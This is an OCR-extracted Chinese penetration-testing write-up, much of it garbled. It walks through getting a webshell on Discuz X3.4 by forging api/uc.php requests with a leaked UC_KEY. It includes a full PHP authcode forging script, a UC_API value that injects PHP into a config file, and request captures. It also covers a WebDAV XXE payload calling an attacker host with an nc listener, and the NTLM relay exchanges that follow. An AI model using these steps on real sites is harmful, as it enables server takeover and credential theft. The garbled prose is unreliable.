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A phpmyadmin BEIER hash MER discuz f[§&, 1 discuz FEFIRIEN ucenter EEXHHIRESANT
webshell,

EHANRMLIE, BiEESA 80, 443 RUANMAEY web FHELI T — 2% java webdav RIARSSEE (1M windows, FX
thld A IRSSEEFRIFE) , FIFE java webdav B xxe Zx#4T NTLM Relay, BERSIEE discuz #dREFFRFZFIF kerberos
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A3/ 3 853, BFiEXT Discuz X3 LUSHINRAHIINEZERRIM— B8RP, ARFRT discuz BYJIFHERH—Lo 1T,
EBERMH— discusfi#ili)G Geetshell ,



3.1 Discuz X3 LIRS

BRIME LEARERRZ x3 ALY Discuz i2F 7, x3 LITHINIESLLERIFRERT, EIALREE x3 LA ERRRE. "EHA
BENENREHTENR O, X2KELEN, NELERERSMFBHIDITINET. BRENATAEERER? WRIRRE—4
BN EELLTHENRE, MZeZEBE discuz, FERSDEZ—EEFRIFEERANERFREDIMHFT .
EAZFKRIENSHF discuz 2—HEEL, IRUEBFRAZHEREES L, BFEXLE discuz ARSI AZE. NTHE
BEEE discuz FISFUNGER, BEEH1IE S RRS discuz BinRYSH, BH—2F AEEIFI AR EE.

Zedl ERRE  ERRM FIRS PHRE

1. Discuz x3.4 g1

SSRF R9R BEZERWEHE MRS,
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MRSTMEE THNYERE
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https://gitee.com/ComsenzDiscuz/DiscuzX/commit/82063d6db9204d041b23fddefab89677a8ad61a1
https://paper.seebug.org/1112/
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/f759f176c45c08be5141a677123c167f4a1b3e14
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/f759f176c45c08be5141a677123c167f4a1b3e14
https://xz.aliyun.com/t/2018
https://m.hundan.org/wooyun-2013-045603
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/8446bd9e897bb19672389cc4aed42716ccd0f537
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/9103a22339f1d7ae6952e202ef01414a45ee2b13

D EXERRMNZAAEEH, BEUEERSH, BREETEZRESRTION, N AERINEREE—Ta&IBHEXR, F
MRNEE NI ZRIL ERREAEBOBEBERNRARER crits , EEMEGHTARR? TERIVGEEDHT viscun s
¥, BRI URROZERRET, B memE |, KIEEXRER, KK discuz RIINEAHRR, HMIREE SRR,

3.2 Discuz BINLFE4A SR

BEDHT, £ discuz /1, T2 NEAYLVMER, XEZRERMK T discuz FIINEREARR, XENGEREEE, KEER
1B TSN key BLAR key FREERINIE. WITERAT:

B faik B E
di
authkey EEFT discuz /config/config global.php

1BIRRE YN A ORE AL E A

di ERFE B{5AY k )
UC KEY(dz) etz izr‘%"ﬁ.uc:serverl_\{ 19 key A /config/config_ucenter.php
FEHFMES api EORERERS

UC KEY(uc_server) uc_server (FAERNZE, FTERTFNPRAYIGIE /uc_server/data/config.inc.php

F uc_server &1 app SFMZAY
UC MYKEY - N  app . e /uc_server/data/config.inc.php
authkey(uc_server) &5,

SINEAIIHEE, RES57T uc_serverinfo
UC SITEID ;';JJE PRHIDIEE, SR - /uc_server/data/config.inc.php
JIRL

UC_FOUNDERPW

Ucenter INZRYE RS uc_server/data/config.inc.ph
UC_FOUNDERSALT MRS /uc_server/data/config.inc.php



& ik IS

#0 /config/config global.php #AY authkey #HEEEZR pre_common_setting

authkey
HHE &
FAIXA~ authkey(uc_server) Boe RS
authkey(uc_server) . o
UC_MYKEY aJLATTEE UC_KEY(dz) pre_ucenter applications &

IEBT%EI’E’\JHEE?}ER% authkey , UC KEY(dz) , UC KEY(uc server) , UC MYKEY , authkey(uc server) 5 ﬂl, ﬁ{[]ﬁﬁ%gﬁnﬁ\{% ﬁxEEfE\/A\
FRIERE X E TR LZE,

3.2.1 ZAR=E

authkey , UC KEY(dz) , UC KEY(uc server) , UC MYKEY EPBELRIMIRMESTTAE, authkey(uc server) HIFZEEERF ve wrey BEEMEFRE, &
B3 RiFEdhA, ERACAEA FATR:

<?php

$uid = DZUCFULL ? 1 : $adminuser['uid'];
$authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER[ 'HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr
($timestamp, @, 8)).random(18);
$_config['db'][1][ 'dbhost'] = $dbhost;
$_config['db'][1][ 'dbname'] = $dbname;
$_config['db'][1][ 'dbpw'] = $dbpw;
$_config['db'][1][ 'dbuser'] = $dbuser;
$_config['db'][1][ 'tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config[ 'cookie']['cookiepre'] = random(4).'_';

$_config[ 'memory']['prefix'] = random(6)."'_';



save_config file(ROOT_PATH.CONFIG, $ config, $default_config);
$db = new dbstuff;
$db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);

if(IVIEW_OFF) {
show_header();

show_install();

if(DZUCFULL) {

install_uc_server();

$db->query("REPLACE INTO {$tablepre}common_setting (skey, svalue) VALUES ('authkey', '$authkey')");

?>

HAI1EN key BIFEEMKENT discuz BEXAY random EREL, HILIHY authkey JBRRIRRBREL=4E, TELEMHTFLTFRE—
A cgi 1HFZ, SE mt_rand() REEF 7T —IRFF, FTLA=4 T BENNEF FIEBFOHER key RUAIRE, 7£ 3.4 ARAF,  authkey HYF=
S ELRHHE 7B 32 (UF/FE, SR TAEHTIEREEL wikey BIBIHES, EHXNUEEEFES, BXNRER
BESES, BHEUUEY wikey FFERBRBMANTEIEETR, &£ authkey FETEUERE vre comon_setting 3

F0 /config/config global.php FCE S,

HBAY instal_uc_server() BREECIL T uc KEY(dz) , UC KBY (ue server) BFFHE, (AT RI—MNERMEREL gencrate key0 , {AZAM
™

function _generate_key() {

$random = random(32);

$info = md5($_SERVER['SERVER_SOFTWARE'].$_SERVER['SERVER_NAME'].$_SERVER['SERVER_ADDR'].$ SERVER['SERVER_PORT'].$ SERVER[ 'HTTP_USER_A
GENT'].time());

$return = array();

for($i=0; $i<32; $i++) {



$return[$i] = $random[$i].%info[$i];
}

return implode('', $return);

}

FERNEEFNFILRIMENZKITIIZEN http header (58, SEURKERKN, MNMAEN, & UC KEV(dZ) (RFZET
/config/config ucenter.php ¥, UC KEY(uc server) IR77Z]T /uc server/data/config.inc.php F,

3.2.2 Discuz Key RJtHXEF

ITEERRE, TEEAVMGE—LHRES | EREEHE LT, EASEEER—m, XEHREEN, BRRETERE
FEEEBCHFBFEAREISRFL.

3.2.2.1 authkey

authkey RYERATE discuz ERRFHOIVIRE, TERTEHUENINEFEFIBEEER, L alipay 18X HUERNFHERGER.
FTP ZIBNFEES, KART—LI08ErIREe, EaNIuEmBaYREe. L& hash AIRIGES; FFPNBRAIBRGG AR T
authkey, ECHN source/class/discuz/discuz application.php HB init user(0 FFE authkey fi#f3 T cookie Ay auth =E%, HF|BE
FFEY uid 0 pw FHITIPRIZEE, 1BRE5EANE authkey HABETRINIRIRG, FKATEFREIEARFRY "% hash” (HuERE
pre_common_member ZRHHY password FEr, IAMFRERIRE—MEIERN md5, EIERIAFZER hash /£
pre_ucenter_members §), S BTEMTTETLUEEEUERLEEN, FAIMAILUNESIHERETER, Bthan

source/include/misc/misc_emailcheck. php H authkey 25 7REG hash FU4ERY, HFAIXE T authkey f5, BiI{mi& hash, FAJAT
LMEFRFRGEMERE, ASEFIRERLEKERERRISHAR (B R EEERAELETIEE).

3.2.2.2 UC KEY(dz)

UC KEY(dz) B 2L EREIAY UC KEY GetWebShell lYFEfA., BFEER 2 MEAH(FEH: — N E2EUEESD api/db/dbbak. php
— MR BRPUNRERIEFSUEERANRIE, EEREUIT avi/uc.php PHI e note 2K,



F*F UC_KEY(dz) B9FIF, M EEAEREL w.ohp K GetWebShell, EX/NEREFMRASEWIEE Y. UC_KEY(dz) A9F)
FRHABIRSL, {REFIE b b KIBHESAI, BT UC KEY(dz) BATTU BEERDEUIRE, THEREE, NEUEESHK

FBEXERHITH—ZZE.

BI—THTTERE ve note 38, FLAIERMERY syniogin0 BREAILUPEBSIHMESRIGRAF. SREEEMRRE, EXEHA—
P

3.2.2.3 UC KEY(uc_server)

UC_KEY(uc_server) {HEREARBMAI— key, BESLEY UC KEY(dz) EREZ. BtRFETUSHENEE, X3
discuz UIBLLRAERIRFRGZALE dovak. php XNIEE 2 1, — DR LEEREIRT api/av/avbak.php ; BIM—T2
uc_server/api/dbbak. php , fEAIJESACAS T LA LFAERE. ME—RIXKBUZ api/do/dobak. php FZT 2 NEERIEN, ERRBRAKRE
Mg, XA~ 2 P3HEBREH UC_KEY(dz) 1 UC_KEY(uc_server) =,

UC KEY(uc_server) JIFEET Ucenter BIFTEFIIPRIAEAERAITHEE, HIAIIPRIGIERREL sid decode) , TEIZERZELH
UC KEY(uc_server) FlAAFEI1ZEMY http header HEF=4 T BFRPERIAUEAY sid, FEERATTLARIE sid S —LESPRIGN,
A seccode BIBXFIA, HAXEHA—NE.

5

A discuz BREFESLEE ST discuz =F2FF0 Ucenter, Ucenter BRI TFEIEZSAARR, MARR Ucenter BiRiERIAE
Bl discuz EEFIFIZL, {RefLAXE .

3.2.2.4 UC MYKEY
UC_MYKEY EZRRINZEM#RE UC_KEY(discuz), W TRAR:

UC_KEY(dz) ----- authcode (UC_MYKEY, ENCODE) ----> authkey(uc_server)
authkey(uc_server) ----- authcode(UC_MYKEY, DECODE) ----> UC_KEY(dz)

authkey(uc_server) IFEFEEWERERY pre_ucenter applications #fY authkey =FE%, authkey(uc_server) & EYEBE0T:



<?php

$authkey = getgpc('authkey', 'P');
$authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);
$synlogin = getgpc('synlogin', 'P');

$app = $this->db->result_first("SELECT COUNT(*) FROM ".UC_DBTABLEPRE."applications WHERE name='$name'");
if($app) {
$this->message('app_add_name_invalid', 'BACK");
} else {
$extra = serialize(array('apppath'=> getgpc('apppath', 'P')));
$this->db->query("INSERT INTO ".UC_DBTABLEPRE."applications SET name='$name', url='$url', ip="$ip"',
viewprourl='$viewprourl', apifilename='$apifilename', authkey='$authkey', synlogin='$synlogin’,
type="$type', recvnote='$recvnote', extra='$extra’,
tagtemplates="$tagtemplates'");
$appid = $this->db->insert_id();
}

?>

AT ARIEESE UC_KEY(dz) rTLAM 2 MMEAIREEIRY, —MNREENE, — P EHUEE. X discuz LHiREERIRE
FXBLRI—NaRR ﬁﬁi?ﬁ)\ﬁ'%%ﬁ’ﬂ authkey (uc_server), BEHERTLIERE= UC KEY(dz) A, {EIEE?1|§EILZE—/|\jC:_l:
64 (MIRYFRIEEVINT 64 MVFRFE. XPMEEN, NRIFREEIA discuz EFZFF] Ucenter 3%, IXMHEREWERE

pre_ucenter_applications FfY authkey FEFENHE UC KEY(dz) WNER{RiE@IL ucenter F‘*{P/}ESIJ\_ UC KEY(dz), #U=E

[ pre_ucenter_applications Y authkey FEFIERIMEEE EEREZINE AT E KNGS EXNMERNKERTMH
B9, B—NAKTFETF 40 AIFERTER,
B

EXITF getshell 3kijt, 7 x3 LARTHYEARAFIERD HREHAY x3.2 LARIARA, FAJRTLAERRIA discuz B9 uc_key(dz) &&
api/uc.php Bi& getshell, 3%18 uc_key(dz) B95/E6:

o HWBEEPAY authkey(uc_server) Z&& UC MYKEY, 1XME UCenter FEHEEEN, IREFER * B



o MIHHEFRRGAE uc_key(dz)
£ x3 lRALUS, T key B9 EEFEREEIEZEF UCenter THeE L, FIAZMINKFA discuz B8, E651F
TRIAZINGES GetWebShell 9755 E5AENERLEZAR.

3.3 & GetWebShell g9%p T 5

FENTF x3.4 B9RAH, WEBENEHFELER: EE1EH Ucenter BIRFEEEIZER, BHTFEAXREN, —GIEADEES
N config/config ucenter.php MAFH, SEUTEHIIT,

BEEFMRAR x3.4 FEZEE TXNRERE, BT

<?php

if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {

require_once './config/config_ucenter.php';

$ucdbpassnew = $settingnew['uc']['dbpass'] == "*¥¥k¥*kx' > addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);
$settingnew[ 'uc']['key'] = addslashes($settingnew['uc']['key'] == "#¥k*ikxk’ > zddslashes(UC_KEY) : $settingnew['uc']['key']);

if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc'][ 'dbhost’
DA

cpmsg('uc_config load_data_local_infile_error', '', ‘'error');

if($settingnew['uc' ][ 'connect']) {

$uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew[ 'uc'][ 'dbhost'], $settingnew[ 'uc'][ 'dbuser'], $ucdbpass
new, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);

if(!$uc_dblink) {

cpmsg('uc_database_connect_error', '', 'error');

} else {

if(function_exists("mysql_connect")) {

mysql_close($uc_dblink);



} else {
$uc_dblink->close();

$fp = fopen('./config/config_ucenter.php', 'r');
$configfile = fread($fp, filesize('./config/config_ucenter.php'));

$configfile = trim($configfile);

$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
fclose($fp);

$connect = '';

$settingnew['uc'] = daddslashes($settingnew['uc']);
if($settingnew['uc' ][ 'connect']) {

$connect = 'mysql’;

$samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc'][ 'dbuser'] && $dbpw == $ucdbpassnew);
$samecharset = !($dbcharset == 'gbk' &% UC_DBCHARSET == 'latinl' || $dbcharset == 'latinl' && UC_DBCHARSET == 'gbk');

$configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost'].

"')", $configfile);

$configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser'].
"')", $configfile);

$configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile);

?>

%l\j—xr_l- $ucdbpassnew ﬁﬁr?ﬂ%}‘{, ﬁlﬁﬁ if (function exists(“mysql connect”) && ini get (“mysql.allow local infile”)=="1" &&

constant ("UC_DBHOST”) != $settingnew[ uc’ ][’ dbhost’]) , ii%l\T)‘Eﬁ’i};‘ET,‘u'\%‘\ mysql jZ{fFiiﬂyE’\Jl'nj@o

3.3.1 Rid#T

BEHNT, BARE T ATERY Ucenter ECESEERSH1THEN, (BEFHAI discuz BIEEXHEN, #HEF BTSN
Ry, EERFHTR, REZUINAR, FLEFRBHPSHECEEKRIERNIE, &ET7E api/uc.php FHEITHIAR.



<?php

if(!defined("IN_UC")) {

require_once '../source/class/class_core.php';

$discuz = C::app();
$discuz->init();

require DISCUZ_ROOT.'./config/config_ucenter.php';
$get = $post = array();

$code = @$_GET[ 'code’'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);

if(time() - $get['time'] > 3600) {
exit('Authracation has expiried');

}
if(empty($get)) {
exit('Invalid Request');

include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php’;
$post = xml_unserialize(file_get_contents('php://input'));

if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadword
s', 'updatehosts', ‘'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'

M A

$uc_note = new uc_note();
echo call_user_func(array($uc_note, $get['action’']), $get, $post);
exit();
} else {
exit (API_RETURN_FAILED);

}
} else {

exit;



function updateapps($get, $post) {

?>

global $_G;

if(!API_UPDATEAPPS) {
return API_RETURN_FORBIDDEN;

$UC_API = '';

if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', "\\', "\@", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);

$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php’;
$fp = fopen($cachefile, 'w');

$s = "<?php\r\n";

$s .= "$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);

fclose($fp);

if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {
if(preg_match('/~https?:\/\//is"', $UC_API)) {
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config ucenter.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

$configfile
if($fp = @fopen(DISCUZ_ROOT.'./config/config ucenter.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);

}
return API_RETURN_SUCCEED;

preg_replace("/define\('UC_API',\s*'.*?"\);/i", "define('UC_API', '".addslashes($UC_API).""');"

, $configfile);



£ updateapps BE(H5ERL 7 Xt uc_api BUEEFET, XEBAIIENELERR2IFRERY, XEFMSFE—NIE, = uc_api A
define CUC_APT’, “http://127.0.0. 1/discuz34/uc_server\') ;phpinfo0://); B, FRAITHAT updateapps BRECREHT uc_api FIHSE

phpinfo(); BRIk,

E(HF updateapps BECEEHT uc_api, HAIEEME UC KEY(dz) 198, M UC KEY(dz) B9E, 1EIFERIIEETLUEE

A9,

3.3.2 FIRSth

1. HNGE wik - veenteriz® , 8B UC KEY = fEE (—EEICE, BFEZEHM), UC API=

http://127.0.0. 1/discuz34/uc_server’ ) ;phpinfo();//



DiSCLIZ! B 4k i AE M/ T ks B4 Bk =iy M TR UCenter
Control Panel

Hilt » UCenter it ® [+]
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UCenter & Rt
U ﬁﬁ'l’r - = ale ke by T, AT o] a5 o By - vl R T VoF o o o B i b= e s i R
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config_ucenter.php

k?php

define('UC_CONNECT', 'mysqgl');

define('UC DBHOST', "localhost’);

define('UC DBUSER', ‘root’');

define('UC_DBPW', ‘root');

define( 'UC_DBNAME', ‘ultrax34’);
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '“ultrax34 .pre_ucenter_');
define('UC_DBCONNECT', ©);

define('UC CHARSET', 'utf-8');

define('UC KEY', '123456');

define('UC_API', 'http://127.0.0.1/discuz34/uc_server\');phpinfo();//");
define("UC_APPID', '1');

define('UC_IP", "");

define('UC_PPP', 20);

INEHEENH, XBERS|SHEE T, FIMZTRER UC_KEY(dZ) %UE_UEH api/uc. php FPEY updateapps ERENEEFT UC_AP|o

2. FFE UC_KEY(dz) 4% code £%%, T UC KEY(dz) GetWebShell RS &S EARMEE, XEFHFN UC KEY(dz) 2L
EFANREN.




<?php

$uc_key="123456";

$time = time() + 720000;

$str = "time=".$time."&action=updateapps”;
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b",$code);
$code = str_replace('/', '%2f"',$code);

echo $code;

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != "' ? $key : '123456');

$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey length)) : sprintf('%e10d', $expiry ? $expiry + time() : 9).s
ubstr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';

$box = range(@, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key length]);

for($j = $i = 0; $i < 256; $i++) {
$ = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$]];
$box[$j] = $tmp;



for($a = $j = $i = 0; $i < $string length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];

$box[$a] = $box[$]];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ~ ($box[($box[$a] + $box[$j]) % 256]1));
}
if($operation == 'DECODE") {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 2
6).$keyb), @, 16)) {

return substr($result, 26);

} else {
return '';
}
} else {
return $keyc.str_replace('="', '', base64_encode($result));
}
?>

3. BEMRIEIET A GET i5KFHI code 248y, KiXEEE



| 6o Cancel | | L|x >

Request

_ﬁ Params | Headers | Hex [ L |

GET

/discuz34/api/uc.php?code=ded cXgfsNhXVuMbH%2fgcShxtPUCSAME2fUS2ENgp
XXMzTelFJqun9LCh7rOyAO414OGVGconZPKQKp90CHbeI|HTTP/l.l

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Gecko/20100101 Firefox/56.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.3
Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 123

x64; rv:56.0)

<?xml version="1.0" encoding="IS0-8854-1"7?>
<root>

<item
id="UC_API">http://127.0.0.1/discuz34/uc_server</item>
</root>

e

Target: hitp:/127.0.0.1 [i

Response

@ Headers | Hex

HTTP/1.1 200 OK

Date: Fri, 28 Feb 2020 01:25:24 GMT

Server: Apache/2.4.39
mod log_ rotate/1.02
X-Powered-By: PHP/5.6.9

Set-Cookie: jYRt_ 2132 saltkey=gzel8231; expires=Sun, 2%-Mar-2020
01:25:24 GMT; Max-Age=2592000; path=/; httponly

Set-Cookie: jYRt 2132 lastvisit=1582849524; expires=Sun,
29-Mar-2020 01:25:24 GMT; Max-Age=259199%; path=/

Set-Cookie: jYRt_2132_ sid=sPdlkb; expires=Sat, 29-Feb-2020
01:25:24 GMT; Max-Age=86399; path=/

Set-Cookie: jYRt 2132 lastact=1582853124%0%uc.php%08;
expires=Sat, 29-Feb-2020 01:25:24 GMT; Max-Age=86399;
Connection: close
Content-Type: text/html:
Content-Length: 1

(Win€4) OpenSSL/1.1.1b mod fcgid/2.3.%a

path=/

charset=utf-8

1

4. i7318) http://127.0.0.1/discuz34/config/config_ucenter.php {CAZH1TRIN




<  C O 127.0.0.1/discuz34/config/config_ucenter.php

Php.

System

Windows NT DESKTOP-QKKSQS6 6.2 build 9200 (Windows 8) AMD64

Build Date

May 13 2015 19:23:54

Compiler

MSVCT1 (Visual C++ 2012)

Architecture

x64

Configure Command

cscript /nologo configure.js *--enable-snapshot-build" "--enable-debug-pack” "--disable-zts" "--disable-
isapi” "--disable-nsapi” "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-
oci=c\php-sdk\oracle\x64\instantclient 12 1\sdk,shared” "--with-oci8-12c=c:\php-
sdk\oracle\x6M\instantclient_12_1\sdk,shared" "--with-enchant=shared" "--enable-object-out-dir=../obj/"
"--enable-com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo"

Server API CGl/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path C\Windows

Loaded Configuration File

C:\phpstudy _pro\Extensions\php\php5.6.9nts\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20131106

PHP Extension 20131226

Zend Extension 220131226

Zend Extension Build AP1220131226,NTS,VC11
PHP Extension Build API120131226,NTS,VC11
Debug Build no

Thread Safety disabled

Zend Signal Handling disabled

Zend Memory Manager enabled

- ama

JR P T S PR




config_ucenter. php

<?php

define( 'UC_CONNECT', 'mysqgl’);

define('UC_DBHOST', 'localhost’);
define('UC_DBUSER', ‘root’);
define('UC_DBPW', 'root');
define('UC_DBNAME', ‘'ultrax34');
define('UC_DBCHARSET', 'utf8');

define('UC_DBTABLEPRE', ""ultrax34’ .pre_ucenter_'};

define('UC_DBCONNECT', 8);

define('UC CHARSET', 'utf-8'");

define('UC_KEY"', '123456');

define('UC_API', 'http://127.0.0.1/discuz34/uc_server');phpinfo();
define('UC_APPID', '1°);

define('UC IP', '");

define('UC_PPP", 20);

EHART GetWebShell, FEXNMEREFR, B—REEIaHE, HKIMENTERIFEBRI UC KEY(dz), BIh GetWebShell LI
—EEEE, B 2MaE:

1. \NEUEEEIERN authkey(uc_server), B3 UC MYKEY #2318 UC KEY(dz), HAtEETEE authkey(uc server) FiE
UC_KEY(d2).

2. BEHN Ucenter &880 UC_KEY, {E2RkFKki] GetWebShell i8R ERIE.

ERTHEAISHE WEBDAV XXE (JAVA) FH NTLM Relay Fl— M8k RIREE T RIRAILIREIRE RCE RIE. =
SRETT-EEEE dump Isass tBRIFFHIEY. FEERNT:



5. REIHFISAIdap E, 125 rbcd

4, #H{Thttp ntimiAiE +

1 NEERE
XXE payload
<IENTITY xxe SYSTEM "http://123.123.123.123/1.xml"> |>

2. ANEHEEEZhtpE R ——

attack E Jerver X
web senf@r
3. EEMAT401

4.1 WEBDAV XXE
RIS EEIRE TRITHNANE AT —AMEE java BFHI web IF555E, FHRNHIZMISEIE / webdav BIR.

= C @ i) 192.168.20.52 - M W

Kali Linux Kali Training Kali Tools & Kali Docs Kali Forums NetHunter @) Offensive Security Exploit-DB GHDB & MSFU

Directory Listing For /

Filename Size




E—1EIINM AR R/ ppt( What should a hacker know about WebDav? ) xR —Hf% webdav X#FE# http
5%, 1 PROPPATCH, PROPFIND., LOCK ZFAitiEs XML ENBNBESRAL xxe,

AR TS FHY http 5i&:

Response

_[ Raw | Headers | Hex |

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

DAV: 1,2

Allow: OPTIONS, GET, HEAD, POST, DELETE, TRACE, PROPPATCH, COPY, MOVE, LOCK,
UNLOCK, PROPFIND

M5-Author-Via: DAV

Content-Length: 0

Date: Mon, 02 Mar 2020 05:33:171 GMT

A IEi PROPFIND 757ERS B INIE] T xxe 1E3K:


http://2015.zeronights.org/assets/files/35-Egorov.pdf

INfEA) (RIE(E) ZE(V) HENH) 1oz 5 [

root@kali: ~

| Cancel |

:~# nc -lvp 81
listening on [any] 81 ... Reduest
connect to [192.168.20.140] from devl.blueteam.com [192.168.20.52] 49224
GET / HTTP/1.1 Jﬂaw I Params IHead-ers THex IKML ]
User-Agent: Java/1.5.0 PROPFIND| /webdav HTTP/1.1
Host: 192.168.20.140:81 Host: 192.168.20.11
Accept: text/html, image/gif, image/jpeg, *; q=.2, */%; q=.2 Content-Length: 255
Connection: keep-alive
Content-type: application/x-www-form-urlencoded <?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE propertyupdate [

D <!ENTITY loot SYSTEM "http://192.168.20.140:81"> ]=
<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop=>

<a xmlns="http://192.168.20.140:81">&loot;</a>

</D:prop></D:set></D:propertyupdate>

B xxe —RRSBENEESURER. LARM _ERZIRIFIE gopher #7 redis &, £ { Ghidra M XXE Z| RCE ) #2ZIFF
java xxe f#§ ntm relay #{E, KBURIEE, BT sun.netwww.protocol.http.HttpURLConnection %&j% HTTP i5XKIBZPIKZS
1579 401 B9 HTTP IREILES, SHIMNZITEERERBFALESTN, EREERSEZENRKA NTLM AIEN<BEER=SRABF
ERHITIAIUE,


https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/

GET / HTTP/1.1

User-Agent: Java/1.5.0

Host: 192.168.20.1480

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded

HTTP/1.1 401 Unauthorized

Server: SimpleHTTP/@.6 Python/2.7.17
Date: Mon, 02 Mar 2020 @9:50:07 GMT
WWk-Authenticate: NTLM

Content-type: text/html
Content-Length: @

GET / HTTP/1.1

User-Agent: Java/1.5.@

Host: 192.168.20.140

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; gq=.2

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Authorization: NTLM T1RMTVNTUAABAAAAB7IIoggACAAsAAAABAAEACgAAAAGAVAJAAAADBRFVjFCTFVFVEVBTQ==

HTTP/1.1 401 Unauthorized

Server: SimpleHTTP/8.6 Python/2.7.17

Date: Mon, @2 Mar 2020 ©9:50:87 GMT

WWk-Authenticate: NTLM

T1RMTVNTUAACAAAAEAAQADgAAAAFwomiU8jmHBAFKfiA4xM66AAAATAAgBIAAAABE LwIWAAAASCAEWAVQBFAFQARQBBAEGAAGAQAETATABVAEUAVABFAEEATQABAAgARABFAFYAMQAEABgAYgBsAHUAZQB®
AGUAYQBtAC4AYwBVAGBAAWALIAGQAZQB2ADEALgBiAGWAdQBIAHQAZOBhAGBALgBjAGBADQAFABEAYgBsAHUAZQBBAGUAYQBtACAAYwWBVAGRABWALAPYp18538NUBAAAAAA==

Content-type: text/html

Content-Length: @

GET / HTTP/1.1

User-Agent: Java/1.5.8

Host: 192.168.20.140

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Authorization: NTLM T1RMTVNTUAADAAAAAAAAAFgAAAAAAAAAWAAAAAAAAABYAAAAAAAAAFgAAAAAAAAAWAAAAAAAAABYAAAABCKTIogYCBCMAAAAPRY1IN14x304KKTBY sRtpOpA==

HTTP/1.1 481 Unauthorized

Server: SimpleHTTP/@.6 Python/2.7.17
Date: Mon, @2 Mar 2020 09:50:07 GMT
Whl-Authenticate: NTLM

Content-type: text/html
Content-Length: @

IMEFAIAINIRENE 7 NTLM JAIESK, #BTREE NTLM Bk s,



4.2 NTLM h4EFNiRHN =S Me im0

4.2.1 (t42 NTLM Hagk

HREAREARIEE, SERHAS s EAEENHE NTLM NERIASTE, MR, HEEEE%E The NTLM
Authentication Protocol and Security Support Provider ,

NTLM SHEIHMNYFER 3 MR

1. 107 : NTLM SHKRIERNE—S2MYEnE, IIREFmSRFRLINEE. FLHMNER, EPimESnIEERAXEEIRS
27, HPEEEFmRESZA NTLM MRE,

2. 8 IRSELABCRIBRIEANN, 15REHEESZAT NTLM IRALUUNREERRIINEE. iZBREEE challenge (E.

